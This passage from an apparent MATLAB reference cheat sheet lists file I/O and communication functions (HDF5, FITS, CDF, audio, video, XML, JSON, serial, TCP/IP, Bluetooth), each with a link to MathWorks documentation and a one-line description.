[h5readatt](https://www.mathworks.com/help/matlab/ref/h5readatt.html) | Read attributes from HDF5 files
[h5write](https://www.mathworks.com/help/matlab/ref/h5write.html) | Write HDF5 dataset
[h5writeatt](https://www.mathworks.com/help/matlab/ref/h5writeatt.html) | Write HDF5 attributes
### HDF5 library package {.row-span-4}
- | -
- | -
[Library (H5)](https://www.mathworks.com/help/matlab/ref/libraryh5.html) | General-purpose functions for use with entire HDF5 library
[Attribute (H5A)](https://www.mathworks.com/help/matlab/ref/attributeh5a.html) | Metadata associated with datasets or groups
[Dataset (H5D)](https://www.mathworks.com/help/matlab/ref/dataseth5d.html) | Multidimensional arrays of data elements and supporting metadata
[Dimension Scale (H5DS)](https://www.mathworks.com/help/matlab/ref/dimensionscaleh5ds.html) | Dimension scale associated with dataset dimensions
[Error (H5E)](https://www.mathworks.com/help/matlab/ref/errorh5e.html) | Error handling
[File (H5F)](https://www.mathworks.com/help/matlab/ref/fileh5f.html) | HDF5 file access
[Group (H5G)](https://www.mathworks.com/help/matlab/ref/grouph5g.html) | Organization of objects in file
[Identifier (H5I)](https://www.mathworks.com/help/matlab/ref/identifierh5i.html) | HDF5 object identifiers
[Link (H5L)](https://www.mathworks.com/help/matlab/ref/linkh5l.html) | Links in HDF5 file
[MATLAB (H5ML)](https://www.mathworks.com/help/matlab/ref/matlabh5ml.html) | `MATLAB` utility functions not part of the HDF5 C library
[Object (H5O)](https://www.mathworks.com/help/matlab/ref/objecth5o.html) | Objects in file
[Property (H5P)](https://www.mathworks.com/help/matlab/ref/propertyh5p.html) | Object property lists
[Reference (H5R)](https://www.mathworks.com/help/matlab/ref/referenceh5r.html) | HDF5 references
[Dataspace (H5S)](https://www.mathworks.com/help/matlab/ref/dataspaceh5s.html) | Dimensionality of dataset
[Datatype (H5T)](https://www.mathworks.com/help/matlab/ref/datatypeh5t.html) | Datatype of elements in a dataset {.style-list}
### HDF4 Files -Advanced Functions
- | -
- | -
[hdfinfo](https://www.mathworks.com/help/matlab/ref/hdfinfo.html) | Information about HDF4 or HDF-EOS files
[hdfread](https://www.mathworks.com/help/matlab/ref/hdfread.html) | Read data from HDF4 or HDF-EOS files
[imread](https://www.mathworks.com/help/matlab/ref/imread.html) | Read an image from a graphics file
[imwrite](https://www.mathworks.com/help/matlab/ref/imwrite.html) | Write image to graphics file
### Low-level functions -package {.row-span-3}
- | -
- | -
[matlab.io.hdf4.sd](https://www.mathworks.com/help/matlab/ref/matlab.io.hdf4.sd.html) | Interact directly with the HDF4 multi-file scientific dataset (SD) interface
[matlab.io.hdfeos.gd](https://www.mathworks.com/help/matlab/ref/matlab.io.hdfeos.gd.html) | Low-level access to HDF-EOS grid data
[matlab.io.hdfeos.sw](https://www.mathworks.com/help/matlab/ref/matlab.io.hdfeos.sw.html) | Low-level access to HDF-EOS segmented files
#### Low Level Functions -Functions
- | -
- | -
[hdfan](https://www.mathworks.com/help/matlab/ref/hdfan.html) | The entry of HDF multi-file annotation (AN) interface
[hdfhx](https://www.mathworks.com/help/matlab/ref/hdfhx.html) | The entry of HDF external data (HX) interface
[hdfh](https://www.mathworks.com/help/matlab/ref/hdfh.html) | The entry of HDF H interface
[hdfhd](https://www.mathworks.com/help/matlab/ref/hdfhd.html) | The entry of HDF HD interface
[hdfhe](https://www.mathworks.com/help/matlab/ref/hdfhe.html) | The entry of HDF HE interface
[hdfml](https://www.mathworks.com/help/matlab/ref/hdfml.html) | Utilities for use with `MATLAB` HDF entry functions
[hdfpt](https://www.mathworks.com/help/matlab/ref/hdfpt.html) | Interface of HDF-EOS point object
[hdfv](https://www.mathworks.com/help/matlab/ref/hdfv.html) | The entry of HDF Vgroup (V) interface
[hdfvf](https://www.mathworks.com/help/matlab/ref/hdfvf.html) | The entry of VF function in HDF Vdata interface
[hdfvh](https://www.mathworks.com/help/matlab/ref/hdfvh.html) | The entry of VH function in HDF Vdata interface
[hdfvs](https://www.mathworks.com/help/matlab/ref/hdfvs.html) | The entry of VS function in HDF Vdata interface
[hdfdf24](https://www.mathworks.com/help/matlab/ref/hdfdf24.html) | HDF 24-bit raster image (DF24) interface entry
[hdfdfr8](https://www.mathworks.com/help/matlab/ref/hdfdfr8.html) | HDF 8-bit raster image (DFR8) interface entry
### FITS file -function
- | -
- | -
[fitsdisp](https://www.mathworks.com/help/matlab/ref/fitsdisp.html) | Display FITS metadata
[fitsinfo](https://www.mathworks.com/help/matlab/ref/fitsinfo.html) | Information about FITS files
[fitsread](https://www.mathworks.com/help/matlab/ref/fitsread.html) | Read data in FITS files
[fitswrite](https://www.mathworks.com/help/matlab/ref/fitswrite.html) | Write image to FITS file
### FITS files -file access
- | -
- | -
[createFile](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.createfile.html) | Create FITS file
[openFile](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.openfile.html) | Open FITS file
[openDiskFile](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.opendiskfile.html) | Open FITS file
[closeFile](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.closefile.html) | Close FITS file
[deleteFile](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.deletefile.html) | Delete FITS file
[fileName](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.filename.html) | The name of the FITS file
[fileMode](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.filemode.html) | I/O mode for FITS files
### FITS files -image processing
- | -
- | -
[createImg](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.createimg.html) | Create FITS image
[getImgSize](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getimgsize.html) | image size
[getImgType](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getimgtype.html) | The data type of the image
[insertImg](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.insertimg.html) | Insert a FITS image after the current image
[readImg](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readimg.html) | read image data
[setBscale](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.setbscale.html) | Reset image scaling
[writeImg](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.writeimg.html) | write FITS image
### FITS file -keyword {.row-span-2}
- | -
- | -
[readCard](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readcard.html) | Header record of keywords
[readKey](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readkey.html) | Keyword
[readKeyCmplx](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readkeycmplx.html) | A keyword in the form of a complex scalar value
[readKeyDbl](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readkeydbl.html) | Keyword in the form of double precision value
[readKeyLongLong](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readkeylonglong.html) | Keyword in the form of `int64`
[readKeyLongStr](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readkeylongstr.html) | long string value
[readKeyUnit](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readkeyunit.html) | The physical unit string in the key
[readRecord](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readrecord.html) | Header record specified by number
[writeComment](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.writecomment.html) | Write or append COMMENT keyword to CHU
[writeDate](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.writedate.html) | Write DATE keyword to CHU
[writeKey](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.writekey.html) | Update or add new keywords to the current HDU
[writeKeyUnit](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.writekeyunit.html) | write physical unit string
[writeHistory](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.writehistory.html) | Write or append HISTORY keyword to CHU
[deleteKey](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.deletekey.html) | Delete key by name
[deleteRecord](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.deleterecord.html) | Delete keywords by record number
[getHdrSpace](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.gethdrspace.html) | The number of keywords in the header
### FITS files -Header Data Unit (HDU) access
- | -
- | -
[copyHDU](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.copyhdu.html) | Copy current HDU from one file to another
[getHDUnum](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.gethdunum.html) | The number of the current HDU in the FITS file
[getHDUtype](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.gethdutype.html) | current HDU type
[getNumHDUs](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getnumhdus.html) | Total number of HDUs in FITS file
[movAbsHDU](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.movabshdu.html) | Move to Absolute HDU Numbering
[movNamHDU](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.movnamhdu.html) | Move to the first HDU containing a specific type and keyword value
[movRelHDU](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.movrelhdu.html) | Move relative amount of HDU from current HDU
[writeChecksum](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.writechecksum.html) | Calculate and write the checksum of the current HDU
[deleteHDU](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.deletehdu.html) | Delete the current HDU in the FITS file
### FITS files -image compression
- | -
- | -
[imgCompress](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.imgcompress.html) | Compress HDU from one file to another
[isCompressedImg](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.iscompressedimg.html) | Determine whether the current image is compressed
[setCompressionType](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.setcompressiontype.html) | Set image compression type
[setHCompScale](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.sethcompscale.html) | Set the scaling parameters of the HCOMPRESS algorithm
[setHCompSmooth](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.sethcompsmooth.html) | Sets smoothing for images compressed with HCOMPRESS
[setTileDim](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.settiledim.html) | Set tile dimensions
### FITS file -ASCII table and binary table {.row-span-3}
- | -
- | -
[createTbl](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.createtbl.html) | Create a new ASCII or binary table extension
[insertCol](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.insertcol.html) | Insert a column into a table
[insertRows](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.insertrows.html) | Insert rows into the table
[insertATbl](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.insertatbl.html) | Insert an ASCII table after the current HDU
[insertBTbl](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.insertbtbl.html) | Insert a binary table behind the current HDU
[deleteCol](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.deletecol.html) | Delete a column from a table
[deleteRows](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.deleterows.html) | Delete rows from the table
[getAColParms](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getacolparms.html) | ASCII table information
[getBColParms](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getbcolparms.html) | binary table information
[getColName](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getcolname.html) | table column name
[getColType](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getcoltype.html) | Data type, repeat value, width of scaled column
[getEqColType](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.geteqcoltype.html) | column data type, repeated value, width
[getNumCols](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getnumcols.html) | The number of columns in the table
[getNumRows](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getnumrows.html) | the number of rows in the table
[readATblHdr](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readatblhdr.html) | Read the header information from the current ASCII table
[readBTblHdr](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readbtblhdr.html) | Read the header information from the current binary table
[readCol](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.readcol.html) | Reads rows of ASCII or binary table columns
[setTscale](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.settscale.html) | reset image scaling
[writeCol](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.writecol.html) | Write elements to an ASCII or binary table column
### FITS files -Utilities
- | -
- | -
[getConstantValue](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getconstantvalue.html) | specify the constant value
[getVersion](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getversion.html) | The revision number of the CFITSIO library
[getOpenFiles](https://www.mathworks.com/help/matlab/ref/matlab.io.fits.getopenfiles.html) | list of opened FITS files
### Stripe interleaved file
- | -
- | -
[multibandread](https://www.mathworks.com/help/matlab/ref/multibandread.html) | Read a striped interleaved file from a binary file
[multibandwrite](https://www.mathworks.com/help/matlab/ref/multibandwrite.html) | Write strip interleaved data to a file
### Common Data Format (CDF)
- | -
- | -
[cdfinfo](https://www.mathworks.com/help/matlab/ref/cdfinfo.html) | Information on Common Data Format (CDF) files
[cdfread](https://www.mathworks.com/help/matlab/ref/cdfread.html) | Read data in Common Data Format (CDF) files
[cdfepoch](https://www.mathworks.com/help/matlab/ref/cdfepoch.html) | Converts a date literal or date sequence value to a date in CDF format
[todatenum](https://www.mathworks.com/help/matlab/ref/todatenum.html) | Convert CDF epoch objects to `MATLAB` date serial values
#### Bag
- | -
- | -
[cdflib](https://www.mathworks.com/help/matlab/ref/cdflib.html) | Direct interaction with CDF library
### Read video data
- | -
- | -
[VideoReader](https://www.mathworks.com/help/matlab/ref/videoreader.html) | Create an object to read a video file
[read](https://www.mathworks.com/help/matlab/ref/videoreader.read.html) | Read one or more video frames
[readFrame](https://www.mathworks.com/help/matlab/ref/videoreader.readframe.html) | Read the next video frame
[hasFrame](https://www.mathworks.com/help/matlab/ref/videoreader.hasframe.html) | Determine whether there are video frames available for reading
[getFileFormats](https://www.mathworks.com/help/matlab/ref/videoreader.getfileformats.html) | File formats supported by `VideoReader`
[mmfileinfo](https://www.mathworks.com/help/matlab/ref/mmfileinfo.html) | Information about multimedia files
### Write video data
- | -
- | -
[VideoWriter](https://www.mathworks.com/help/matlab/ref/videowriter.html) | Create an object to write a video file
[open](https://www.mathworks.com/help/matlab/ref/videowriter.open.html) | Open a file to write video data
[writeVideo](https://www.mathworks.com/help/matlab/ref/videowriter.writevideo.html) | Write video data to a file
[close](https://www.mathworks.com/help/matlab/ref/videowriter.close.html) | close the file after writing video data
[getProfiles](https://www.mathworks.com/help/matlab/ref/videowriter.getprofiles.html) | Description files and file formats supported by `VideoWriter`
### Read or write audio
- | -
- | -
[audioread](https://www.mathworks.com/help/matlab/ref/audioread.html) | Read audio files
[audiowrite](https://www.mathworks.com/help/matlab/ref/audiowrite.html) | Write audio files
[lin2mu](https://www.mathworks.com/help/matlab/ref/lin2mu.html) | Convert linear audio signal to mu-law
[mu2lin](https://www.mathworks.com/help/matlab/ref/mu2lin.html) | Convert mu-law audio signal to linear format
[audioinfo](https://www.mathworks.com/help/matlab/ref/audioinfo.html) | Information about audio files
### Play audio
- | -
- | -
[audioplayer](https://www.mathworks.com/help/matlab/ref/audioplayer.html) | Object for playing audio
[isplaying](https://www.mathworks.com/help/matlab/ref/audioplayer.isplaying.html) | Determine whether playback is in progress
[pause](https://www.mathworks.com/help/matlab/ref/audioplayer.pause.html) | Pause playback or recording
[play](https://www.mathworks.com/help/matlab/ref/audioplayer.play.html) | Play audio from `audioplayer` object
[playblocking](https://www.mathworks.com/help/matlab/ref/audioplayer.playblocking.html) | Play audio in `audioplayer` object, keep control until playback is complete
[resume](https://www.mathworks.com/help/matlab/ref/audioplayer.resume.html) | Resume playback or recording from the paused state
[stop](https://www.mathworks.com/help/matlab/ref/audioplayer.stop.html) | Stop playing or recording
### Record audio
- | -
- | -
[audiorecorder](https://www.mathworks.com/help/matlab/ref/audiorecorder.html) | object for recording audio
[getaudiodata](https://www.mathworks.com/help/matlab/ref/audiorecorder.getaudiodata.html) | Store the recorded audio signal in a numeric array
[getplayer](https://www.mathworks.com/help/matlab/ref/audiorecorder.getplayer.html) | Create an associated `audioplayer` object
[isrecording](https://www.mathworks.com/help/matlab/ref/audiorecorder.isrecording.html) | Determine if recording is in progress
[record](https://www.mathworks.com/help/matlab/ref/audiorecorder.record.html) | Record audio into `audiorecorder` object
[recordblocking](https://www.mathworks.com/help/matlab/ref/audiorecorder.recordblocking.html) | Record audio into an `audiorecorder` object, keep control until recording is complete
### Play sound
- | -
- | -
[audiodevinfo](https://www.mathworks.com/help/matlab/ref/audiodevinfo.html) | Information about audio devices
[audiodevreset](https://www.mathworks.com/help/matlab/ref/audiodevreset.html) | Refresh the list of available audio devices
[sound](https://www.mathworks.com/help/matlab/ref/sound.html) | Convert signal data matrix to sound
[soundsc](https://www.mathworks.com/help/matlab/ref/soundsc.html) | Scale data and play it as sound
[beep](https://www.mathworks.com/help/matlab/ref/beep.html) | generate operating system beep
### Reading and writing XML documents
- | -
- | -
[matlab.io.xml.dom.DOMWriter](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.domwriter-class.html) | Write serialized XML documents Injector
[matlab.io.xml.dom.EntityResolver](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.entityresolver-class.html) | Abstract base class of entity resolver
[matlab.io.xml.dom.FileWriter](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.filewriter-class.html) | Writer for creating text files
[matlab.io.xml.dom.Locator](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.locator-class.html) | The location of the element in the XML file
[matlab.io.xml.dom.Parser](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.parser-class.html) | XML markup parser
[matlab.io.xml.dom.ParserConfiguration](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.parserconfiguration-class.html) | XML parser options
[matlab.io.xml.dom.ParseError](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.parseerror-class.html) | Specified XML tag parsing error
[matlab.io.xml.dom.ParseErrorHandler](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.parseerrorhandler-class.html) | Abstract base class for parse error handlers
[matlab.io.xml.dom.ParseErrorLocator](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.parseerrorlocator-class.html) | Specifies location of parse error
[matlab.io.xml.dom.ParseErrorSeverity](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.parseerrorseverity-class.html) | Indicates the severity of XML tag parsing errors enum class
[matlab.io.xml.dom.ResourceIdentifier](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.resourceidentifier-class.html) | XML resource identifier
[matlab.io.xml.dom.ResourceIdentifierType](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.resourceidentifiertype-class.html) | XML resource identifier type
[matlab.io.xml.dom.WriterConfiguration](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.writerconfiguration-class.html) | XML DOM Writer Options
{.style-list-arrow}
### W3C DOM
- | -
- | -
[matlab.io.xml.dom.Attr](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.attr-class.html) | Attributes of XML elements
[matlab.io.xml.dom.CDATASection](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.cdatasection-class.html) | CDATA section
[matlab.io.xml.dom.Comment](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.comment-class.html) | Comments in XML documents
[matlab.io.xml.dom.Document](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.document-class.html) | XML document
[matlab.io.xml.dom.DocumentFragment](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.documentfragment-class.html) | document node group
[matlab.io.xml.dom.DocumentType](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.documenttype-class.html) | document type
[matlab.io.xml.dom.Element](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.element-class.html) | element of XML document
[matlab.io.xml.dom.Entity](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.entity-class.html) | Entity defined by document type
[matlab.io.xml.dom.NamedNodeMap](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.namednodemap-class.html) | A set of document nodes with names
[matlab.io.xml.dom.NodeList](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.nodelist-class.html) | document node list
[matlab.io.xml.dom.Notation](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.notation-class.html) | Notation in document type definition
[matlab.io.xml.dom.ProcessingInstruction](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.processinginstruction-class.html) | XML processing instruction
[matlab.io.xml.dom.Text](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.text-class.html) | Text in an XML document
[matlab.io.xml.dom.TypeInfo](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.dom.typeinfo-class.html) | schema type information
{.style-list-arrow}
### XML Transformation
- | -
- | -
[matlab.io.xml.transform.CompiledStylesheet](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.compiledstylesheet-class.html) | Compiled stylesheet
[matlab.io.xml.transform.ResultDocument](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.resultdocument-class.html) | Store the transformation result as a document
[matlab.io.xml.transform.ResultString](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.resultstring-class.html) | Store the transformation result as a string
[matlab.io.xml.transform.ResultFile](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.resultfile-class.html) | Store the transformation result as a file
[matlab.io.xml.transform.SourceDocument](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.sourcedocument-class.html) | XML source document for transformation
[matlab.io.xml.transform.SourceFile](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.sourcefile-class.html) | XML source file for transformation
[matlab.io.xml.transform.SourceString](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.sourcestring-class.html) | XML source string for transformation string
[matlab.io.xml.transform.StylesheetSourceDocument](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.stylesheetsourcedocument-class.html) | Stylesheet source for transformation document
[matlab.io.xml.transform.StylesheetSourceFile](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.stylesheetsourcefile-class.html) | Stylesheet source for transformation document
[matlab.io.xml.transform.StylesheetSourceString](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.stylesheetsourcestring-class.html) | XSL source string for transformation string
[matlab.io.xml.transform.Tracer](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.transform.tracer-class.html) | Trace execution of stylesheet
{.style-list-arrow}
### XPath query
- | -
- | -
[matlab.io.xml.xpath.CompiledExpression](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.xpath.compiledexpression-class.html) | Compiled XPath expression
[matlab.io.xml.xpath.EvalResultType](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.xpath.evalresulttype-class.html) | The result type of XPath expression calculation
[matlab.io.xml.xpath.Evaluator](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.xpath.evaluator-class.html) | XPath expression evaluator
[matlab.io.xml.xpath.PrefixResolver](https://www.mathworks.com/help/matlab/ref/matlab.io.xml.xpath.prefixresolver-class.html) | For namespace prefix resolver Abstract base class for
{.style-list-arrow}
### JSON format
- | -
- | -
[jsondecode](https://www.mathworks.com/help/matlab/ref/jsondecode.html) | Decode text in JSON format
[jsonencode](https://www.mathworks.com/help/matlab/ref/jsonencode.html) | Create JSON-formatted text {.style-list} from structured `MATLAB` data
### Workspace variables and MAT-file {.row-span-2}
- | -
- | -
[load](https://www.mathworks.com/help/matlab/ref/load.html) | Load file variables into the workspace
[save](https://www.mathworks.com/help/matlab/ref/save.html) | Save workspace variables to a file
[matfile](https://www.mathworks.com/help/matlab/ref/matlab.io.matfile.html) | Access and change variables in a MAT-file without loading the file into memory
[disp](https://www.mathworks.com/help/matlab/ref/disp.html) | Display the value of the variable
[formattedDisplayText](https://www.mathworks.com/help/matlab/ref/formatteddisplaytext.html) | Capture display output as a string
[who](https://www.mathworks.com/help/matlab/ref/who.html) | List variables in the workspace
[whos](https://www.mathworks.com/help/matlab/ref/whos.html) | List variables in the workspace with their size and type
[clear](https://www.mathworks.com/help/matlab/ref/clear.html) | Delete items from the workspace and release system memory
[clearvars](https://www.mathworks.com/help/matlab/ref/clearvars.html) | Clear variables in memory
[openvar](https://www.mathworks.com/help/matlab/ref/openvar.html) | Open a workspace variable in the variable editor or other graphical editing tools
[Workspace Browser](https://www.mathworks.com/help/matlab/ref/workspace.html) | Open the Workspace Browser to manage the workspace
### Low-level file I/O {.row-span-2}
- | -
- | -
[fclose](https://www.mathworks.com/help/matlab/ref/fclose.html) | close one or all open files
[feof](https://www.mathworks.com/help/matlab/ref/feof.html) | Detect the end of the file
[ferror](https://www.mathworks.com/help/matlab/ref/ferror.html) | File I/O error message
[fgetl](https://www.mathworks.com/help/matlab/ref/fgetl.html) | Read lines in a file and remove line breaks
[fgets](https://www.mathworks.com/help/matlab/ref/fgets.html) | Read lines in a file and keep newlines
[fileread](https://www.mathworks.com/help/matlab/ref/fileread.html) | Read file content in text format
[fopen](https://www.mathworks.com/help/matlab/ref/fopen.html) | Open a file or get information about opening a file
[fprintf](https://www.mathworks.com/help/matlab/ref/fprintf.html) | Write data to a text file
[fread](https://www.mathworks.com/help/matlab/ref/fread.html) | Read data in binary files
[frewind](https://www.mathworks.com/help/matlab/ref/frewind.html) | Move the file position indicator to the beginning of the opened file
[fscanf](https://www.mathworks.com/help/matlab/ref/fscanf.html) | Read the data in the text file
[fseek](https://www.mathworks.com/help/matlab/ref/fseek.html) | Move to the specified position in the file
[ftell](https://www.mathworks.com/help/matlab/ref/ftell.html) | current location
[fwrite](https://www.mathworks.com/help/matlab/ref/fwrite.html) | Write data to a binary file
### Serial and USB Communication -Connection and Configuration
- | -
- | -
[serialportlist](https://www.mathworks.com/help/matlab/ref/serialportlist.html) | List of serial ports connected to your system
[serialport](https://www.mathworks.com/help/matlab/ref/serialport.html) | Connect to a serial port
[configureTerminator](https://www.mathworks.com/help/matlab/ref/serialport.configureterminator.html) | Set the terminator for ASCII string communication with the serial port
[configureCallback](https://www.mathworks.com/help/matlab/ref/serialport.configurecallback.html) | Set callback function and trigger conditions for communication with serial port devices
### Serial and USB communication -read and write
- | -
- | -
[read](https://www.mathworks.com/help/matlab/ref/serialport.read.html) | Read data from the serial port
[readline](https://www.mathworks.com/help/matlab/ref/serialport.readline.html) | Read ASCII string data line from serial port
[write](https://www.mathworks.com/help/matlab/ref/serialport.write.html) | write data to serial port
[writeline](https://www.mathworks.com/help/matlab/ref/serialport.writeline.html) | Write ASCII data line to serial port
### Serial and USB communication -control pins and memory
- | -
- | -
[flush](https://www.mathworks.com/help/matlab/ref/serialport.flush.html) | Clear the serial port device buffer
[getpinstatus](https://www.mathworks.com/help/matlab/ref/serialport.getpinstatus.html) | Get the serial port status
[setRTS](https://www.mathworks.com/help/matlab/ref/serialport.setrts.html) | Set the serial port RTS pin
[setDTR](https://www.mathworks.com/help/matlab/ref/serialport.setdtr.html) | Set the serial DTR pin
### TCP/IP communication -connection and configuration
- | -
- | -
[tcpclient](https://www.mathworks.com/help/matlab/ref/tcpclient.html) | Create a TCP/IP client connection to a TCP/IP server
[echotcpip](https://www.mathworks.com/help/matlab/ref/echotcpip.html) | Start or stop the TCP/IP echo server
[configureTerminator](https://www.mathworks.com/help/matlab/ref/tcpclient.configureterminator.html) | Set terminator for ASCII string communication with remote host via TCP/IP
[configureCallback](https://www.mathworks.com/help/matlab/ref/tcpclient.configurecallback.html) | Set callback function and trigger condition for communication with remote host via TCP/IP {.style-list}
### TCP/IP communication -read and write
- | -
- | -
[read](https://www.mathworks.com/help/matlab/ref/tcpclient.read.html) | Read data on a remote host via TCP/IP
[readline](https://www.mathworks.com/help/matlab/ref/tcpclient.readline.html) | Read ASCII string data line from remote host via TCP/IP
[write](https://www.mathworks.com/help/matlab/ref/tcpclient.write.html) | Write data to a remote host via TCP/IP
[writeline](https://www.mathworks.com/help/matlab/ref/tcpclient.writeline.html) | Write ASCII data line to remote host via TCP/IP
[flush](https://www.mathworks.com/help/matlab/ref/tcpclient.flush.html) | Flush buffers for communication with remote hosts via TCP/IP {.style-list}
### Bluetooth communication -connection and configuration
- | -
- | -
[bluetoothlist](https://www.mathworks.com/help/matlab/ref/bluetoothlist.html) | Scan for nearby `Bluetooth` classic devices
[bluetooth](https://www.mathworks.com/help/matlab/ref/bluetooth.html) | Connect to `Bluetooth` classic device
[configureTerminator](https://www.mathworks.com/help/matlab/ref/bluetooth.configureterminator.html) | Set terminator for ASCII string communication with `Bluetooth` device
[configureCallback](https://www.mathworks.com/help/matlab/ref/bluetooth.configurecallback.html) | Set callback function and trigger condition for communication with `Bluetooth` device {.style-list}
### Bluetooth communication -read and write {.row-span-2}
- | -
- | -
[read](https://www.mathworks.com/help/matlab/ref/bluetooth.read.html) | Read data from a `Bluetooth` device
[readline](https://www.mathworks.com/help/matlab/ref/bluetooth.readline.html) | Read ASCII string data line from `Bluetooth` device
[write](https://www.mathworks.com/help/matlab/ref/bluetooth.write.html) | write data to `Bluetooth` device
[writeline](https://www.mathworks.com/help/matlab/ref/bluetooth.writeline.html) | Write ASCII data line to `Bluetooth` device
[flush](https://www.mathworks.com/help/matlab/ref/bluetooth.flush.html) | Clear `Bluetooth` device buffer {.style-list}
### Bluetooth Low Energy Communication {.row-span-2}
- | -
- | -
[blelist](https://www.mathworks.com/help/matlab/ref/blelist.html) | Scan for nearby low energy `Bluetooth` peripherals
[ble](https://www.mathworks.com/help/matlab/ref/ble.html) | Connect to low energy `Bluetooth` peripherals
[characteristic](https://www.mathworks.com/help/matlab/ref/matlabshared.blelib.characteristic.html) | Access to characteristics of `Bluetooth` low energy peripherals
[descriptor](https://www.mathworks.com/help/matlab/ref/matlabshared.blelib.descriptor.html) | Access descriptors on `Bluetooth` low energy peripherals
